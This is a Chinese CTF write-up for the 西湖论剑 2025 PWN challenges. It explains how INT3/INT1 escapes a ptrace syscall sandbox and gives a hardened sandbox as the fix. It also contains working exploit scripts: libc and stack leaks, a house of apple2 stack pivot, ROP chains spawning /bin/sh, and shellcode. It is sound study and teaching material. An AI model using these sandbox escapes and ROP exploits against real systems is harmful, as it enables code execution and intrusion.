西湖论剑 2025 PWN Writeup
babytrace
本题基于 ptrace
实现了一个简易的 syscall 沙盒,由父进程检测子进程,子进程与用户交互。每次子进程进入 syscall 时,父进程会检测保存在 orig_rax
中的 syscall number,如果不在白名单内就将 rax
强制改为 -1
。
在互联网上搜索关键词 pwn ptrace sandbox
即可搜到这一篇 writeup:CTFtime.org / PlaidCTF 2020 / sandybox / Writeup,教你如何使用 INT3
来绕过这种 sandbox 设计,但作者并没有仔细分析为什么 INT3
有这种神奇的效果。Let’s dive in…
ptrace 原理
ptrace 是一套 Linux 提供的调试机制,允许一个进程 attach 到另一个进程,设置各点断点,并操控其寄存器、内存等状态。
在 ptrace 的 man 手册中,我们可以看到其实现方法。
While being traced, the tracee will stop each time a signal is delivered, even if the signal is being ignored. (An exception is SIGKILL, which has its usual effect.) The tracer will be notified at its next call to waitpid(2) (or one of the related “wait” system calls); that call will return a status value containing information that indicates the cause of the stop in the tracee. While the tracee is stopped, the tracer can use various ptrace operations to inspect and modify the tracee. The tracer then causes the tracee to continue, optionally ignoring the delivered signal (or even delivering a different signal instead).
被调试进程(tracee)每次收到一个信号,都会暂停下来,等待调试进程(tracer)调用 waitpid
。在 tracer 从 waitpid
中返回,执行了一些调试相关操作后,它会通知内核继续执行 tracee 程序。tracer 可以通过 ` waitpid ` 设置的 ` status ` 来获取 tracee 停下的原因,即 tracee 是因为哪一个信号而停下来的, 比如是 ` SIGKILL ` 还是 ` SIGTRAP `?
如果我们要监视某个进程的 syscall,我们可以使用 ptrace(PTRACE_SYSCALL, pid, 0, 0)
,让内核在下次 tracee 执行或退出 syscall 的时候给其发送一个 SIGTRAP
信号,将其停下来。详细的说明可以在 man 中找到:
PTRACE_SYSCALL, PTRACE_SINGLESTEP Restart the stopped tracee as for PTRACE_CONT, but arrange for the tracee to be stopped at the next entry to or exit from a system call, or after execution of a single instruction, respectively. (The tracee will also, as usual, be stopped upon receipt of a signal.) From the tracer’s perspective, the tracee will appear to have been stopped by receipt of a SIGTRAP. So, for PTRACE_SYSCALL, for example, the idea is to inspect the arguments to the system call at the first stop, then do another PTRACE_SYSCALL and inspect the return value of the system call at the second stop. The data argument is treated as for PTRACE_CONT. (addr is ignored.)
这段文字中,官方给出的使用例是这样的:
ptrace(PTRACE_SYSCALL); wait();
- 检查 syscall 参数
ptrace(PTRACE_SYSCALL); wait();
- 检查 syscall 返回值
知道这些以后,我们就可以实现一个简单的 ptrace sandbox 了。
ptrace sandbox
题目的 sandbox 实现类似这样(可以拿去编译改改玩玩):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/syscall.h>
int main(int argc, char *argv[]){
struct user_regs_struct regs;
int stat_loc;
int pid = fork();
if (pid == 0) { // child
// waiting for parent to attach...
prctl(PR_SET_PDEATHSIG, SIGKILL);
ptrace(PTRACE_TRACEME, 0, 0, 0);
int mypid = getpid();
kill(mypid, SIGSTOP);
// do something...
system("echo hello");
exit(0);
} else { // parent
if (waitpid(pid, &stat_loc, 0) < 0)
puts("waitpid error1");
// monitor syscall
do {
// wait child to stop at syscall
ptrace(PTRACE_SYSCALL, pid, 0, 0);
if (waitpid(pid, &stat_loc, __WALL) < 0)
puts("waitpid error2");
// exit if child die
if (WIFEXITED(stat_loc) || WIFSTOPPED(stat_loc) && WSTOPSIG(stat_loc) == SIGSEGV)
break;
// perform check
if ( ptrace(PTRACE_GETREGS, pid, 0, ®s) < 0 )
puts("GETREGS error");
size_t syscall_num = regs.orig_rax;
printf("[*] Syscall number: %ld\n", syscall_num);
if (!(syscall_num == SYS_read ||
syscall_num == SYS_write ||
syscall_num == SYS_fstat ||
syscall_num == SYS_exit ||
syscall_num == SYS_exit_group)) {
puts("[*] Bad Syscall");
regs.orig_rax = -1;
if ( ptrace(PTRACE_SETREGS, pid, 0, regs) < 0 )
puts("SETREGS error");
}
// wait for syscall ret
ptrace(PTRACE_SYSCALL, pid, 0, 0);
if ( waitpid(pid, &stat_loc, __WALL) < 0 )
puts("waitpid error3");
} while (!WIFEXITED(stat_loc) && (!WIFSTOPPED(stat_loc) || WSTOPSIG(stat_loc) != SIGSEGV));
}
return 0;
}
在父进程的 do-while 循环中,有两次 ptrace(PTRACE_SYSCALL, pid, 0, 0)
,这分别对应进入和退出 syscall。我们只需要检查进入 syscall 时的参数,所以第二次 ptrace
停下后我们只是什么都不干,继续下一次循环。
直接编译运行程序,我们应该可以看到子进程并没有成功运行 system("echo 'Hello, world!'");
,这表明我们的功能似乎正常执行了。
$ ./a.out
[*] Syscall number: 13
[*] Bad Syscall
[*] Syscall number: 13
[*] Bad Syscall
[*] Syscall number: 14
[*] Bad Syscall
[*] Syscall number: 9
[*] Bad Syscall
[*] Syscall number: 13
[*] Bad Syscall
[*] Syscall number: 13
[*] Bad Syscall
[*] Syscall number: 14
[*] Bad Syscall
[*] Syscall number: 231
ptrace bad use
然而,这段代码中还缺少了一个非常重要的部分——检查 tracee 是因为什么原因而停下来的。在上一节中我们提到, ptrace(PTRACE_SYSCALL, pid, 0, 0)
的功能是让内核在下次进入或退出 syscall 的时候,给 tracee 发送一个 SIGTRAP 信号。tracer 不能确保 waitpid 返回是因为子进程进入了 syscall 还是什么其他的原因。
让我们对子进程做出一些修改(同时,在父进程里允许 clock_nanosleep 系统调用):
// waiting for parent to attach...
prctl(PR_SET_PDEATHSIG, SIGKILL);
ptrace(PTRACE_TRACEME, 0, 0, 0);
int mypid = getpid();
kill(mypid, SIGSTOP);
// do something...
printf("Child PID: %d\n", mypid);
sleep(10);
system("echo 'Hello, World!'");
exit(0);
现在,子进程会在调用 system 函数前进入一段 10s 的睡眠时间。让我们趁着这个机会,给子进程发个随便什么信号试试:
BOOM!子进程逃出了沙盒,成功执行了 system("echo 'Hello, World!'")
。这是因为,我们发送给子进程的 SIGSTOP
信号被捕捉,父进程以为此时子进程进入了 syscall entry。因此,后续子进程真正进入 syscall entry 时,父进程会将其当成 syscall exit,不进行检查。
我们这里是借助了一个第三方进程进行攻击,有没有办法让子进程给自身发送一个信号呢?我们通常发送信号使用的 kill 同时也是一个系统调用,会被沙盒限制,遗憾离场了。
在 amd64 架构的 Linux 中,有一些 int
指令被赋予了特殊的作用。如果你熟悉 GDB 的断点原理的话,就会知道 INT3
指令的神奇功效,这条指令专门用来产生一个 SIGTRAP
。GDB 同样基于 ptrace 进行调试,当你执行 b *0x415411
时,GDB 会在保存 0x415411
处的一个字节后将其覆盖为 INT3
指令。在执行了这条 INT3
之后,被调试的进程收到一个 SIGTRAP
,控制就回到了 GDB 的手中。
我们可以让子进程在进行 system()
前先执行一次 ` INT3 ` 指令,同样可以逃出 sandbox。
// do something...
asm("int3");
system("echo 'Hello, World!'");
exit(0);
$ gcc pt.c && ./a.out
[*] Syscall number: -1
[*] Bad Syscall
...
[*] Syscall number: 14
[*] Bad Syscall
Hello, World!
...
第一行 [*] Syscall number: -1
,就是那条 INT3
指令产生的 SIGTRAP
被父进程捕获时产生的输出。
除了 INT3
以外,INT1
也有类似的功能,也是本文在攻击时使用的方法(GLIBC 中居然神奇地存在 INT1; ret;
gadget)。详情参考 x86_64-linux-cheatsheats/pages/INT1 at master · Mic92/x86_64-linux-cheatsheats · GitHub。
ptrace good use
实际上,ptrace 机制已经给程序提供了区分同一个信号(如 SIGTRAP
)的不同来源(syscall 还是 int3)的方法。在 PTRACE_SETOPTIONS
的各个 flag 说明中,有一个 flag 名为 PTRACE_O_TRACESYSGOOD
。其说明如下:
PTRACE_O_TRACESYSGOOD (since Linux 2.4.6) When delivering system call traps, set bit 7 in the signal number (i.e., deliver SIGTRAP|0x80). This makes it easy for the tracer to distinguish normal traps from those caused by a system call.
也就是说,只要 tracer 在初始化时执行:
ptrace(PTRACE_SETOPTIONS, pid, 0, PTRACE_O_TRACESYSGOOD);
他就可以这样来检测当前是否为 syscall 进入/退出导致的 SIGTRAP:
ptrace(PTRACE_SYSCALL, pid, 0, 0);
if (waitpid(pid, &stat_loc, __WALL) < 0)
puts("waitpid error2");
if (WIFSTOPPED(stat_loc) && WSTOPSIG(stat_loc) == SIGTRAP|0x80)
puts("Bingo! Syscall handled.");
我们可以包装一个用来捕获 syscall 进入/退出的函数,只有在子进程已死或进入退出 syscall 时,这个函数才会返回:
int break_syscall(unsigned pid, struct user_regs_struct *regs){
int stat_loc;
do {
ptrace(PTRACE_SYSCALL, pid, 0, 0);
if (waitpid(pid, &stat_loc, __WALL) < 0)
puts("waitpid error");
if (WIFSTOPPED(stat_loc) && WSTOPSIG(stat_loc) == (SIGTRAP | 0x80)) {
goto ret;
} else if (WIFSTOPPED(stat_loc) && WSTOPSIG(stat_loc) == SIGSEGV) {
goto ret;
} else if (WIFEXITED(stat_loc)) {
goto ret;
}
} while (1);
ret:
return stat_loc;
}
进行完备的检查后,子进程的 asm("INT3")
也无法逃出沙盒。加强后的 ptrace 沙盒放在文末以供参考。
利用
题目本身提供了两次相对于栈的任意地址读(8 字节),一次相对于栈的任意地址写(8 字节),此外还有一个位于栈上大小 0x200 的 buffer 可以写入一些数据。
由于任意写只有 8 字节,所以本题不能像栈溢出一样把 saved rbp
和返回地址都覆盖以后通过 leave; ret;
栈迁移打 ROP。可恶的出题人必须要让我们绕一个弯子。
本文采用比较常规的做法,在泄露 libc 基地址以及栈上 buffer 的位置后,借助 house of apple2 来打 stack pivot。
在 2.35 以前的 GLIBC 版本中,有一段被称为 magic gadget 的代码可以方便地结合 FILEIO 利用完成栈迁移:
; svcudp_reply+26
mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];
很可惜这段代码在题目使用的 2.35 版本中消失了,但还是有一个技巧可以完成栈迁移。在包括 puts
在内的一些 FILEIO 类函数中有一个加速—— rbp
寄存器会始终指向当前正在处理的 FILE 结构体。(类似于 gs 寄存器始终指向 TLS 结构体)
我们可以在 FILE 结构体的开头布置一条简单的 ROP 链。在 house of apple2 劫持控制流执行 leave; ret;
之后,rsp
就会指向 FILE 结构体 +8 的位置,开始执行我们布置的 ROP 链。
exp 脚本如下:
def pwn():
# 0x00000000000c6d6e : int1 ; ret
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002a2e0 : pop rbp ; ret
# 0x000000000004da83 : leave ; ret
int1 = 0xc6d6e
pop_rdi = 0x2a3e5
pop_rbp = 0x2a2e0
leave_ret = 0x4da83
# leak libc
sla(b'one >', b'2')
sla(b'which one?', str(bias_base+37).encode())
ru(b' = ')
libc_base = int(ru(b'\n'), 10) - libc.libc_start_main_return
info(f'libc_base: {hex(libc_base)}')
# leak stack
sla(b'one >', b'2')
sla(b'which one?', b'-4')
ru(b' = ')
stack = int(ru(b'\n'), 10)
buffer = stack - 0x30 - 0x220
array_base = stack - 0x20
info(f'stack: {hex(stack)}')
info(f'buffer: {hex(buffer)}')
info(f'array_base: {hex(array_base)}')
rop_chain = flat([
0xdeadbeef,
libc_base + int1,
libc_base + pop_rdi,
libc_base + next(libc.search(b'/bin/sh')),
libc_base + libc.sym['system'],
0x0,
])
null_ptr = buffer + 0x28
fs_addr = buffer + len(rop_chain) # pos of the fake FS
fs = flat({
0x00: 0, # flags
0x08: libc_base + pop_rbp, # _IO_read_ptr
0x10: buffer, # _IO_read_end
0x18: libc_base + leave_ret, # _IO_read_base
0x88: null_ptr, # _lock
0xa0: fs_addr + 0xf0 - 0xe0, # _wide_data
0xa8: libc_base + leave_ret,
0xd8: libc.sym['_IO_wfile_jumps'] + libc_base + 0x18 - 0x38, # vtable
0xf0: fs_addr + 0xa8 - 0x68,
})
sla(b'one >', b'1')
sa(b'recv:', rop_chain + fs)
sla(b'which one?', str((libc_base+libc.sym['stdout']-array_base)//8).encode())
sla(b'value?', str(fs_addr).encode())
io.interactive()
vpwn
题目实现了一个简易的 vector 结构体,类似:
struct vec {
int data[6],
size_t length,
};
通过菜单提供了以下几个功能:
- Edit:编辑某个已有元素
- Pop:弹出一个元素
- Push:压入一个元素(存在漏洞:没有对总长度作限制)
- Print:打印所有元素
在 6 次 Push 后,第七和第八次 push 即可覆盖 length,而后就可以通过 print 泄露栈上的各种数据,并用 edit 编辑返回地址,打 ROP。
ru = lambda a: io.recvuntil(a)
r = lambda : io.recv()
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
s = lambda a: io.send(a)
def edit(id, val):
sla(b'choice: ', b'1')
sla(b'index', str(id))
sla(b'value: ', str(val))
def push(val):
sla(b'choice: ', b'2')
sla(b'value',str(val))
def pop():
sla(b'choice: ', b'3')
def printv():
sla(b'choice: ', b'4')
def pwn():
for i in range(6):
push(0x100)
push(0x30)
printv()
ru(b'contents: ')
for i in range(18):
ru(b' ')
libc_base = int(ru(b' ')[:-1].decode()) + (int(ru(b' ')[:-1].decode())<<32) - libc.libc_start_main_return
info(f'libc_base: {hex(libc_base)}')
#one_gadget = libc_base + 0xebd43
#info(f'one_gadget: {hex(one_gadget)}')
ret = libc_base + 0x0000000000029139
pop_rdi = libc_base + 0x000000000002a3e5
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']
edit(18, ret & 0xffffffff)
edit(19, ret >> 32)
edit(20, pop_rdi & 0xffffffff)
edit(21, pop_rdi >> 32)
edit(22, binsh & 0xffffffff)
edit(23, binsh >> 32)
edit(24, system & 0xffffffff)
edit(25, system >> 32)
io.interactive()
Heaven’s door
神秘。
def pwn():
sla(b"puchid:", asm(shellcraft.sh()))
一个相对完善的 ptrace sandbox
/*
* pt.c
* Copyright (C) 2025 cameudis <cameudis@gmail.com>
*
* Distributed under terms of the MIT license.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/syscall.h>
int break_syscall(unsigned pid, struct user_regs_struct *regs){
int stat_loc;
do {
ptrace(PTRACE_SYSCALL, pid, 0, 0);
if (waitpid(pid, &stat_loc, __WALL) < 0)
puts("waitpid error");
if (WIFSTOPPED(stat_loc) && WSTOPSIG(stat_loc) == (SIGTRAP | 0x80)) {
goto ret;
} else if (WIFSTOPPED(stat_loc) && WSTOPSIG(stat_loc) == SIGSEGV) {
goto ret;
} else if (WIFEXITED(stat_loc)) {
goto ret;
}
} while (1);
ret:
return stat_loc;
}
int main(int argc, char *argv[]){
struct user_regs_struct regs;
int stat_loc;
int pid = fork();
if (pid == 0) { // child
// waiting for parent to attach...
prctl(PR_SET_PDEATHSIG, SIGKILL);
ptrace(PTRACE_TRACEME, 0, 0, 0);
int mypid = getpid();
kill(mypid, SIGSTOP);
// do something...
asm("int3");
system("echo 'Hello, World!'");
exit(0);
} else { // parent
if (waitpid(pid, &stat_loc, 0) < 0)
puts("waitpid error1");
ptrace(PTRACE_SETOPTIONS, pid, 0, PTRACE_O_TRACESYSGOOD);
// monitor syscall
do {
// wait child to stop at syscall
stat_loc = break_syscall(pid, ®s);
// exit if child die
if (WIFEXITED(stat_loc) || WIFSTOPPED(stat_loc) && WSTOPSIG(stat_loc) == SIGSEGV)
break;
// perform check
if ( ptrace(PTRACE_GETREGS, pid, 0, ®s) < 0 )
puts("GETREGS error");
size_t syscall_num = regs.orig_rax;
printf("[*] Syscall number: %ld\n", syscall_num);
if (!(syscall_num == SYS_read ||
syscall_num == SYS_write ||
syscall_num == SYS_fstat ||
syscall_num == SYS_exit ||
syscall_num == SYS_clock_nanosleep ||
syscall_num == SYS_exit_group)) {
puts("[*] Bad Syscall");
regs.orig_rax = -1;
if ( ptrace(PTRACE_SETREGS, pid, 0, ®s) < 0 )
puts("SETREGS error");
}
// wait for syscall ret
stat_loc = break_syscall(pid, ®s);
} while (!WIFEXITED(stat_loc) && (!WIFSTOPPED(stat_loc) || WSTOPSIG(stat_loc) != SIGSEGV));
}
return 0;
}
- 西湖论剑 2025 PWN Writeup
- CISCN Final 2024
- BlackHatMEA 2023 House of Minho
- VNCTF 2024 escape_langlang_mountain2
- HITCTF 2023 xv6-Trusted
- TAMUctf 2023 Pwnme - linked ROP chain
- UTCTF 2023 Bing Chilling